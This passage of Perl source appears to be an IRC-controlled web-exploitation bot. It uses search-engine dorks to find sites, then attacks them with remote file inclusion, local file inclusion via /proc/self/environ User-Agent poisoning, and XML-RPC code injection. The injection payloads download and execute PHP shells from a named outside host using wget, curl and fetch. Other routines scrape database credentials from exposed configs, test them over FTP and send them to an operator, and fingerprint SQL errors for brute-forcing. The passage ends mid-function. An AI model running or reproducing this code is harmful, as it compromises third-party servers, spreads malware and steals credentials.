    if ($engine =~ /yahooIN/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoIN",$type);
        } exit; }
    }
    if ($engine =~ /yahooAU/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoAU",$type);
        } exit; }
    }
    if ($engine =~ /yahooMX/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoMX",$type);
        } exit; }
    }
    if ($engine =~ /yahooTW/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoTW",$type);
        } exit; }
    }
    if ($engine =~ /yahooBR/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoBR",$type);
        } exit; }
    }
    if ($engine =~ /yahooAR/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoAR",$type);
        } exit; }
    }
    if ($engine =~ /yahooNL/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoNL",$type);
        } exit; }
    }
    if ($engine =~ /yahooDK/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoDK",$type);
        } exit; }
    }
    if ($engine =~ /yahooPH/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoPH",$type);
        } exit; }
    }
    if ($engine =~ /yahooCL/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoCL",$type);
        } exit; }
    }
    if ($engine =~ /yahooRU/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoRU",$type);
        } exit; }
    }
    if ($engine =~ /yahooCH/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoCH",$type);
        } exit; }
    }
    if ($engine =~ /yahooCO/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoCO",$type);
        } exit; }
    }
    if ($engine =~ /yahooFI/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoFI",$type);
        } exit; }
    }
    if ($engine =~ /yahooRO/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoRO",$type);
        } exit; }
    }
    if ($engine =~ /yahooVE/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoVE",$type);
        } exit; }
    }
    if ($engine =~ /yahooAT/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoAT",$type);
        } exit; }
    }
    if ($engine =~ /yahooPL/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoPL",$type);
        } exit; }
    }
    if ($engine =~ /yahooKR/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoKR",$type);
        } exit; }
    }
    if ($engine =~ /yahooNZ/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoNZ",$type);
        } exit; }
    }
    if ($engine =~ /yahooGR/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoGR",$type);
        } exit; }
    }
    if ($engine =~ /yahooPE/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoPE",$type);
        } exit; }
    }
    if ($engine =~ /yahoo/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"YahOo",$type);
        } exit; }
    }

    if ($engine =~ /clusty/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"CluSty",$type);
        } exit; }
    }

    if ($engine =~ /gutser/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
            &type($chan,$bug,$dork,"GutSer",$type);
        } exit; }
    }

    if ($engine =~ /rediff/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"ReDiff",$type);
        } exit; }
    }

    if ($engine =~ /virgilio/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"VirgiLio",$type);
        } exit; }
    }

    if ($engine =~ /webde/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"WebDe",$type);
        } exit; }
    }

    if ($engine =~ /exalead/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"ExaLead",$type);
        } exit; }
    }

    if ($engine =~ /lycos/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"LyCos",$type);
        } exit; }
    }

    if ($engine =~ /hotbot/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"HotBot",$type);
        } exit; }
    }

    if ($engine =~ /aol/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"AoL",$type);
        } exit; }
    }

    if ($engine =~ /sapo/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"SaPo",$type);
        } exit; }
    }

    if ($engine =~ /duck/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"DuCk",$type);
        } exit; }
    }

    if ($engine =~ /lygo/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"LyGo",$type);
        } exit; }
    }

    if ($engine =~ /yause/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"YauSe",$type);
        } exit; }
    }

    if ($engine =~ /baidu/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"BaiDu",$type);
        } exit; }
    }

    if ($engine =~ /kipot/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"KiPoT",$type);
        } exit; }
    }

    if ($engine =~ /gibla/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GiBLa",$type);
        } exit; }
    }

    if ($engine =~ /bypass/i) {
    if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"bypass",$type);
        } exit; }
    }

    if ($engine =~ /black/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"BLacK",$type);
        } exit; }
    }

	if ($engine =~ /onet/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"oNeT",$type);
        } exit; }
    }

	if ($engine =~ /sizuka/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"SiZuka",$type);
        } exit; }
    }

	if ($engine =~ /walla/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"WaLLa",$type);
        } exit; }
    }

	if ($engine =~ /demos/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"DeMos",$type);
        } exit; }
    }

	if ($engine =~ /rose/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"RoSe",$type);
        } exit; }
    }

	if ($engine =~ /seznam/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"SeZnaM",$type);
        } exit; }
    }

	if ($engine =~ /tiscali/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"TisCali",$type);
        } exit; }
    }

	if ($engine =~ /naver/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"NaVeR",$type);
        } exit; }
    }

    if ($engine =~ /doogate/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"DooGatE");
        } exit; }
    }

	if ($engine =~ /sogou/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"sogou",$type);
        } exit; }
    }

	if ($engine =~ /interia/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"interia",$type);
        } exit; }
    }

	if ($engine =~ /snz/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"snz",$type);
        } exit; }
    }

	if ($engine =~ /yandex/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"yandex",$type);
        } exit; }
    }

	if ($engine =~ /joeant/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"joeant",$type);
        } exit; }
    }

	if ($engine =~ /terra/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"terra",$type);
        } exit; }
    }
	if ($engine =~ /youdao/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"youdao",$type);
        } exit; }
    }

	if ($engine =~ /amfibi/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"amfibi",$type);
        } exit; }
    }

	if ($engine =~ /bigclique/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"bigclique",$type);
        } exit; }
    }

	if ($engine =~ /dancefloor/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"dancefloor",$type);
        } exit; }
    }

	if ($engine =~ /live/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"live",$type);
        } exit; }
    }

	if ($engine =~ /rakuten/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"rakuten",$type);
        } exit; }
    }

	if ($engine =~ /biglobe/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"biglobe",$type);
        } exit; }
    }

	if ($engine =~ /nova/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"nova",$type);
        } exit; }
    }

	if ($engine =~ /najdi/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"najdi",$type);
        } exit; }
    }

	if ($engine =~ /pagina/i) {
    if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"Pagina",$type);
        } exit; }
    }
    
	if ($engine =~ /goo/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"goo",$type);
        } exit; }
    }
    
    if ($engine =~ /kvasir/i) { 
        if (my $pid = fork) { waitpid($pid, 0); } 
        else { if (fork) { exit; } else { 
            &type($chan,$bug,$dork,"KvaSiR",$type); 
        } exit; } 
    }
            
	if ($engine =~ /uksubmit/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"uksubmit",$type);
        } exit; }
    }
    
        if ($engine =~ /netsprint/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NetSprint",$type); } exit; }
    }
        if ($engine =~ /saol/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sAol",$type); } exit; }
    }
        if ($engine =~ /lookle/i) {
                if ($pid = fork) { waitpid($pid, 0); }
                else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Lookle",$type); } exit; }
        }
        if ($engine =~ /optuszoo/i) {
                if ($pid = fork) { waitpid($pid, 0); }
                else { if (fork) { exit; } else { &type($chan,$bug,$dork,"optusZoo",$type); } exit; }
        }
        if ($engine =~ /search66/i) {
                if ($pid = fork) { waitpid($pid, 0); }
                else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Search66",$type); } exit; }
        }
        if ($engine =~ /arrama/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Arrama",$type); } exit; }
    }
        if ($engine =~ /excitejp/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"eXciteJP",$type); } exit; }
    }
        if ($engine =~ /clix/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Clix",$type); } exit; }
    }
        if ($engine =~ /searchch/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SearchCH",$type); } exit; }
    }
        if ($engine =~ /cada/i) {
                if ($pid = fork) { waitpid($pid, 0); }
                else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cada",$type); } exit; }
        }
	if ($engine =~ /excite/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"excite",$type);
        } exit; }
    }
}

#########################################

sub rfi() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$rfilogo);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
            $count++;
				if ($count == $num-1) { &msg("$chan","$rfilogo(4@9$engine15)10 Scan finish"); }
				my $coba = "http://".$site.$bug."test??";
				my $test = "http://".$site.$bug.$injector."??";
				my $dor  = "http://".$site.$bug.$botshell."??";
				my $dor2  = "http://".$site.$bug.$botshell2."??";
				my $cek  = &get_content($coba);sleep(1);
				&get_content($dor);sleep(1);
				&get_content($dor2);sleep(1);
				if ($cek =~ /failed to open stream/i) {
					if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
					&rfi_xpl($test,$chan,$site);
					exit;}
					}
				}
		}
	}
}

sub whm() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$whmlogo);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
            $count++;
           if ($count == $num-1) { &msg("$chan","$whmlogo 4$engine 0 Scan finish"); }
            my $test1 = "http://".$site.$bug;
			my $html = get_content($test1);
			if ($html =~ /db_host/i) {
					$userpass = getUserPass($html);
					&msg("$chan","$whmlogo 4$engine (13@12DATABASE15)10 15(7 http://".$site." 15) 4$userpass");
					my $lulz = "http://".$site;
					my $user = "";
					my $pass = "";
					if($lulz =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
						my $host = $2;
						my @ftpu = split(":xXx:", $userpass);
						$user = $ftpu[0];
						$pass = $ftpu[1];
						my $ftpstat = "";
						if($user =~ /_/) { @userz = split("_", $user); $user = $userz[0];}
						ftp_connect($test1,$host,$user,$pass,$chan,$engine);
					}
					sleep(3);
				}
			}
		}
	}


sub ftp_connect {
my $url = $_[0];
my $host = $_[1];
my $user = $_[2];
my $pass = $_[3];
my $chan = $_[4];
my $engine = $_[5];
my $success = 1;
use Net::FTP;
my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 2);
$success = 0 if $ftp->login($user,$pass);
$ftp->quit;
if ($success == 0) {
&msg("$chan","4$engine (13@12ACCEPT15) 15( 13".$host.":21 12".$user."13:12".$pass." 15)");
&msg("$admin","4$engine (13@12ACCEPT15) 15( 13".$host.":21 12".$user."13:12".$pass." 15)");
}
}

sub getUserPass() {
	my $string = $_[0];
	my @lol = split("\r\n", $string);
	my $pass = "";
	my $user = "";
	foreach my $line (@lol) {
		if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) {
			$pass = $3;
		} 
		if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) {
			$user = $3;
		}
	}
	return $user.":xXx:".$pass;
}	

sub rfi_xpl() {
my $url    = $_[0];
my $chan   = $_[1];
my $site   = $_[2];
my $dor  = $url.$botshell."??";
my $dor2  = $url.$botshell2."??";
my $test = $url.$injector."??";
my $vuln = $url."14(LyCaNZ)";
my $check = &get_content($test);
            &get_content($dor);sleep(1);
            &get_content($dor2);sleep(1);
	if ( $check =~ /ipays - exploit/i ) {
	my $safe   ="";
	my $os 	   ="";
	my $free   ="";
    if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
    if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
    if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
    if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
		&msg("$chan","$rfilogo(4@9VuLn15)13 ".$vuln."9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)(4@9safemode-off15)");
		&msg("$admin","$rfilogo(4@9VuLn15)13 ".$vuln."9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");
	        }
                else {&msg("$chan","$rfilogo(4@9VuLn15)10 ".$vuln." (4@7safemode-on15)");}
}

sub lfi() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$lfilogo);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
            $count++;
            if ($count == $num-1) { &msg("$chan","$lfilogo(4@9$engine15)10 Scan finish"); }
            my $dir = "../../../../../../../../../../../../../";
            my $test = "http://".$site.$bug.$dir."/proc/self/environ%0000";
            my $vuln = "http://".$site."12".$bug.$dir."/proc/self/environ%0000";
            my $shell = "http://".$site."12".$bug.$dir."/tmp/ipays%0000";
            my $html = &get_content($test);
            if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) {
                if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
                    my $code = 'echo "c0li#".php_uname()."#c0li".get_current_user();if(@copy("'.$injector.'","/tmp/ipays")) { echo "SUCCESS";@copy("'.$botshell.'","/tmp/dev");@copy("'.$botshell2.'","/tmp/maza"); }';
                    my $res = lfi_env_query($test,encode_base64($code));
				    &lfi_spread_query($test);
				    &get_content("http://".$site.$bug.$dir."/tmp/dev%0000");sleep(2);
				    &get_content("http://".$site.$bug.$dir."/tmp/maza%0000");
                    $res =~ s/\n//g;
                    if ($res =~ /c0li#(.*)#c0li(.*)SUCCESS/sg) {
                        my $sys = $1;
						$nob0dy = $2;
                        &msg("$chan","$lfilogo(4@8$engine15)15(4@9SHeLL15)13 ".$shell." 15(4@9".$sys."15))15(4@9$nob0dy15)");sleep(2);
                    }
                    elsif ($res =~ /c0li#(.*)#c0li(.*)/sg) {
                        if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
                            my $sys = $1;
			    $nob0dy = $2;
                            my $upload = 'system("killall -9 perl;killall -9 php;wget http://bitcoinshell.mooo.com/users/pico/dvdpagat.txt -O aspaltx.php;fetch http://bitcoinshell.mooo.com/users/pico/dvdpagat.txt;mv dvdpagat.txt aspaltx.php;wget http://bitcoinshell.mooo.com/users/pico/bonze.jpg -O bonze.php;fetch http://bitcoinshell.mooo.com/users/pico/bonze.jpg;mv bonze.jpg byroe.php;wget http://bitcoinshell.mooo.com/users/pico/bonze.jpg -O allnet.php;fetch http://bitcoinshell.mooo.com/users/pico/bonze.jpg;mv bonze.jpg allnet.php;");passthru("killall -9 perl;killall -9 php;wget http://bitcoinshell.mooo.com/users/pico/dvdpagat.txt -O aspaltx.php;fetch http://bitcoinshell.mooo.com/users/pico/dvdpagat.txt;mv dvdpagat.txt aspaltx.php;wget http://bitcoinshell.mooo.com/users/pico/bonze.jpg -O byroe.php;fetch http://bitcoinshell.mooo.com/users/pico/bonze.jpg;mv bonze.jpg byroe.php;wget http://bitcoinshell.mooo.com/users/pico/bonze.jpg -O allnet.php;fetch http://bitcoinshell.mooo.com/users/pico/bonze.jpg;mv bonze.jpg allnet.php;");';
                            my $wget = lfi_env_query($test,encode_base64($upload)); sleep(2);
                            my $check = &get_content("http://".$site."aspaltx.php");
					&get_content("http://".$site.$bug.$dir."/tmp/dev%0000");sleep(2);
					&get_content("http://".$site.$bug.$dir."/tmp/maza%0000");sleep(2);
                            if ($check =~ /ipays - exploit/) {
                                &msg("$chan","$lfilogo(4@8$engine15)15(4@9SHeLL15)13 ".$shell." 15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2);
                                &msg("$admin","$lfilogo(4@8$engine15)15(4@9SHeLL15)13 ".$shell." 15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2);
                            }
                            else {
                                &msg("$chan","$lfilogo(4@8$engine15)15(4@9SysTem15)7 ".$vuln." 15(4@3".$sys."15))15(4@9$nob0dy15)");sleep(2);
                            }
                        } exit; }
                    }
                    else { &msg("$chan","$lfilogo(4@8$engine15)15(4@9EnviRon15)10 ".$vuln); }
                } exit; } sleep(2);
            }
        }
    }
}

sub lfi_env_query() {
    my $url = $_[0];
    my $code = $_[1];
    my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".$code."'));?>");
    $ua->timeout(7);
    my $req = HTTP::Request->new(GET => $url);
    my $res = $ua->request($req);
    return $res->content;
}

sub lfi_spread_query() {
    my $url = $_[0];
    my $code = "system('cd /tmp;rm -rf allnet.* *.jpg.*;fetch ".$botshell.";php bonze.jpg;rm -rf bonze.jpg;wget ".$botshell.";php bonze.jpg;rm -rf bonze.jpg;curl -O ".$botshell.";php bonze.jpg;rm -rf bonze.jpg;lwp-download ".$botshell.";php bonze.jpg;fetch ".$botshell2.";php bonze.jpg;rm -rf bonze.jpg;wget ".$botshell2.";php abonze.jpg;rm -rf bonze.jpg;curl -O ".$botshell2.";php bonze.jpg;rm -rf bonze.jpg;lwp-download ".$botshell2.";php bonze.jpg;cd /var/tmp;fetch ".$botshell.";php bonze.jpg;rm -rf bonze.jpg;wget ".$botshell.";php bonze.jpg;rm -rf bonze.jpg;curl -O ".$botshell.";php bonze.jpg;rm -rf bonze.jpg;lwp-download ".$botshell.";php bonze.jpg;fetch ".$botshell2.";php bonze.jpg;rm -rf bonze.jpg;wget ".$botshell2.";php bonze.jpg;rm -rf bonze.jpg;curl -O ".$botshell2.";php bonze.jpg;rm -rf bonze.jpg;lwp-download ".$botshell2.";php bonze.jpg;rm -rf *.jp*;');";
    my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".encode_base64($code)."'));?>");
    $ua->timeout(7);
    my $req = HTTP::Request->new(GET => $url);
    my $res = $ua->request($req);
}

sub xml() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$xmllogo);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
            $count++;
            if ($count == $num-1) { &msg("$chan","$xmllogo(4@8$engine15)10 Scan finish"); }
            my $test = "http://".$site.$bug;
            my $vuln = "http://".$site."13".$bug;
            my $html = &get_content($test);
            if ($html =~ /faultCode/ ) {
            if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
            my $resp = &xml_cek_query($test);
			if ($resp =~ /j13mb0t(.*)j13mb0t/s) {
			&xml_spread_query($test);sleep(2);
			my $sys = $1;
			my $check = &get_content("http://".$site."aspaltx.php");
				    &get_content("http://".$site."byroe.php");
				    &get_content("http://".$site."allnet.php");
				if ($check =~ /ipays - exploit/) {
				&msg("$chan","$xmllogo(4@8$engine15)15(13@9SheLL15)13 http://".$site."7aspaltx.php 3".$sys);&get_content("http://".$site."byroe.php"); sleep(2);}
				else { 
				&msg("$chan","$xmllogo(4@8$engine15)15(4@9SysTem15)7 ".$vuln." 3".$sys); sleep(2);}
			}
	sleep(2); } exit; } }
		}
	}
}

sub xml_cek_query() {
    my $url 	= $_[0];
	my $code = "system('uname -a');";
    my $ua = LWP::UserAgent->new(agent => 'perl post');
        $exploit = "<?xml version=\"1.0\"?><methodCall>";
        $exploit .= "<methodName>test.method</methodName>";
        $exploit .= "<params><param><value><name>',''));";
        $exploit .= "echo'j13mb0t';".$code."echo'j13mb0t';exit;/*</name></value></param></params></methodCall>";
	$ua->timeout(7);
	my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);
    return $res->content;
}

sub xml_spread_query() {
my $xmltargt = $_[0];
my $xmlsprd  = "system('wget ".$injector." -O aspaltx.php;fetch ".$injector.";mv ipays.jpg aspaltx.php;wget ".$botshell." -O byroe.php;fetch ".$botshell.";mv bonze.jpg byroe.php;wget ".$botshell2." -O allnet.php;fetch ".$botshell2.";mv bonze.jpg allnet.php;killall -9 perl;killall -9 php;cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bonze.jpg;rm -rf bonze.jpg;wget ".$botshell.";php bonze.jpg;rm -rf bonze.jpg;curl -O ".$botshell.";php bonze.jpg;rm -rf bonze.jpg;lwp-download ".$botshell.";php bonze.jpg;fetch ".$botshell2.";php bonze.jpg;rm -rf bonze.jpg;wget ".$botshell2.";php bonze.jpg;rm -rf bonze.jpg;curl -O ".$botshell2.";php bonze.jpg;rm -rf bonze.jpg;lwp-download ".$botshell2.";php bonze.jpg;cd /var/tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bonze.jpg;rm -rf bonze.jpg;wget ".$botshell.";php bonze.jpg;rm -rf bonze.jpg;curl -O ".$botshell.";php bonze.jpg;rm -rf bonze.jpg;lwp-download ".$botshell.";php bonze.jpg;fetch ".$botshell2.";php bonze.jpg;rm -rf bonze.jpg;wget ".$botshell2.";php bonze.jpg;rm -rf bonze.jpg;curl -O ".$botshell2.";php allnet.jpg;rm -rf bonze.jpg;lwp-download ".$botshell2.";php bonze.jpg;');";
		my $userAgent = LWP::UserAgent->new(agent => 'perl post');
        $exploit = "<?xml version=\"1.0\"?><methodCall>";
        $exploit .= "<methodName>test.method</methodName>";
        $exploit .= "<params><param><value><name>',''));";
        $exploit .= "echo'j13m';".$xmlsprd."echo'b0T';exit;/*</name></value></param></params></methodCall>";
	$userAgent->timeout(7);
	$userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit);
}

sub sql() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$sqllogo);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
            $count++;
            if ($count == $num-1) { &msg("$chan","$sqllogo(4@8$engine15)10 Scan finish"); }
            my $test = "http://".$site.$bug."'";
            my $vuln = "http://".$site."4".$bug;
	    my $sqlsite = "http://".$site.$bug;
            my $html = &get_content($test);
			if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
            if ($html =~ m/You have an error in your SQL syntax/i || $html =~ m/Query failed/i || $html =~ m/SQL query failed/i ) {
                &sqlbrute($sqlsite,$chan,$engine);}
            elsif ($html =~ m/ODBC SQL Server Driver/i || $html =~ m/Unclosed quotation mark/i || $html =~ m/Microsoft OLE DB Provider for/i ) {
                &msg("$chan","$sqllogo(4@8$engine15)15(4@9MsSQL15)13 ".$vuln);}
            elsif ($html =~ m/Microsoft JET Database/i || $html =~ m/ODBC Microsoft Access Driver/i || $html =~ m/Microsoft OLE DB Provider for Oracle/i ) {
                &msg("$chan","$sqllogo(4@8$engine15)15(4@9MsAccess15)13 ".$vuln);}
            elsif ($html =~ m/mysql_/i || $html =~ m/Division by zero in/i || $html =~ m/mysql_fetch_array/i ) {
                &sqlbrute($sqlsite,$chan,$engine);}
            } exit; sleep(2); }
        }
    }
}
sub sqlbrute() {
			my $situs=$_[0];
